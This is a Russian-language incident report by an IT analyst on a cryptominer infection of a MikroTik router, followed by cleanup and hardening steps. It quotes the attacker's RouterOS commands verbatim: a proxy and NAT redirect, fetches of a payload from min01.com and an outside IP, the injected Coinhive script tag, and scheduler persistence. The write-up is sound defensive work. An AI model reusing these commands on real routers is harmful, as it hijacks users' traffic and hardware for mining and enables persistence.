1 августа 2018 года на фабрике, где я работал аналитиком информационных систем, был обнаружен майнер coinhive. Причём, не на рабочих станциях и не на серверах, а на рутере Mikrotik RB850Gx2.
В новостях по кибербезопасности уже упомяналось о существовании такового, но статьи были датированы апрелем месяцем и на тот момент ничего не предвещало заражения: был обнаружен, был выпущен патч, точнее новая версия, были и рекомендации. Но рекомендаций было мало.
Тело вируса, назовём его так, загружалось скриптом с сайта min01.com и сохранялось в виде файла error.html:
/ip proxy set enabled=yes /ip proxy access add action=deny disabled=no /ip firewall nat remove [find comment=sysadminpxy] /ip firewall nat add disabled=no chain=dstnat protocol=tcp dst-port=80 src-address-list=!Ok action=redirect to-ports=8080 comment=sysadminpxy /ip firewall nat move [find comment=sysadminpxy] destination=0 /ip firewall filter remove [find comment=sysadminpxy] /ip firewall filter add disabled=no chain=input protocol=tcp dstport= 8080 action=add-src-to-address-list address-list=Ok address-listtimeout= 15s comment=sysadminpxy /tool fetch url=http://min01.com/01/error.html mode=http dstpath= webproxy/error.html /tool fetch url=http://min01.com/01/error.html mode=http dstpath= flash/webproxy/error.html
Здесь же поднимался webproxy, обычно отключенный мною, для дальнейшего распространения заразы: пользователь запрашивает любой сайт и получает заражённую страницу ошибки, содержащую вот такую строчку
<script src="https://coinhive.com/lib/coinhive.min.js"></script>
Распространить заразу и майнить уже не только на рутере, но и на всех компьютерах компании - автору скрипта было мало, поэтому он ещё и собирал данные об устройствах и даже делал резервные копии каждый день в 1:30 ночи.
/system scheduler add name="Auto113" start-time=01:30:00 interval=1d on-event="/system backup save dont-encrypt=yes name=bfull113" policy=api,ftp,local,password,policy,read,reboot,sensitive,sniff,ssh,t elnet,test,web,winbox,write /system scheduler add name="Auto114" start-time=01:41:00 interval=1d on-event="/file remove a113.rsc\r\n/file remove bfull113.backup\r\n/file remove sn111.txt\r\n/file remove sn112.txt\r\n/file remove sn113.txt" policy=api,ftp,local,password,policy,read,reboot,sensitive,sniff,ssh,t elnet,test,web,winbox,write /system scheduler add name="Auto115" start-time=01:44:00 interval=1d on-event="/system scheduler remove [find name=Auto113]\r\n/system scheduler remove [find name=Auto114]\r\n/system scheduler remove [find name=Auto115]" policy=api,ftp,local,password,policy,read,reboot,sensitive,sniff,ssh,telnet,test,web,winbox,write
Естественно, была предусмотренна и маскировка активного заражения: каждые 9, 11 и 13 часов пользователь как ни в чем не бывало беспрепятственно заходит на сайты.
Но в моей сети обнаружить заражение мне удавалось очень легко, поэтому были приняты меры.
В первую очередь - письмо регистратору домена min01.com и администратору хостинга, где я потребовал отключить домен как вредоносный. Затем, конечно же поиск и удаление заразы.
Само письмо: https://cloud.xlabs-lan.com/s/Jt3CQLEfYRMTHH8
И выписка из whois:
Domain Name: min01.com Creation Date: 2018-05-14T11:03:09Z Registrar: ZhuHai NaiSiNiKe Information Technology Co., Ltd.
Admin Name: Salman Rasulov Name Server: NS1.PROHOSTER.BIZ
Да, Вы скажете, что удаления зараженных файлов с рутера и скриптов его загружающих достаточно. Но не забывайте про планировщик: по расписанию тело вируса опять будет загружаться, будет открываться давно небезопасный ftp на рутере, активироваться ssh и всё это при перезагрузке рутера.
/tool fetch address=95.154.216.166 port=2008 src-path=/mikrotik.php mode=http keep-result=no
Мало того, включается socks, меняется порт и через рутер "прогоняется" трафик, так что интернет-провайдер не обрадуется...
Что нужно сделать для очистки после заражения?
Выполнить следующие команды на рутере
/ip firewall filter remove [ find comment~"sysadminpxy"];
/ip firewall nat remove [ find comment~"sysadminpxy"];
/ip firewall nat remove [ find comment~"lhrelay"];
/system scheduler remove [ find name~"Auto"];
/file remove [find name ~"sn"];
/file remove [find name ~"bfu"];
/file remove [find name ~"a113"];
/user remove [find name=ftu];
/user group remove [find name=ftpgroupe];
/ip cloud set ddns-enabled=no;
/ip proxy set enabled=no
Разумеется, сменить все пароли административных пользователей и обновить RouterOS.
Отключить все службы, с помощью которых можно получить несанкционированный доступ к рутеру
/ip service set ftp disabled=yes port=21;
/ip service set ssh disabled=yes port=22;
Поскольку, первоначальный доступ к рутеру злоумышленником произведен был через уязвимость winbox, предлагается разрешить доступ к данной службе только авторизованным лицам либо с использованием технологии port-knocking
И этого тоже мало: socks надо отключить и изменить исправленный злоумышленником порт и очень желательно запретить входящие соединения из сетей 182.96.0.0/12 и 95.154.192.0/18 (чтобы в октябре того же года в логах рутера были упоминания о попытках несанкционированного доступа, но не более того).
Хочу добавить что сайта coinhive больше нет, но скрипты майнера сохранились в webarchive. |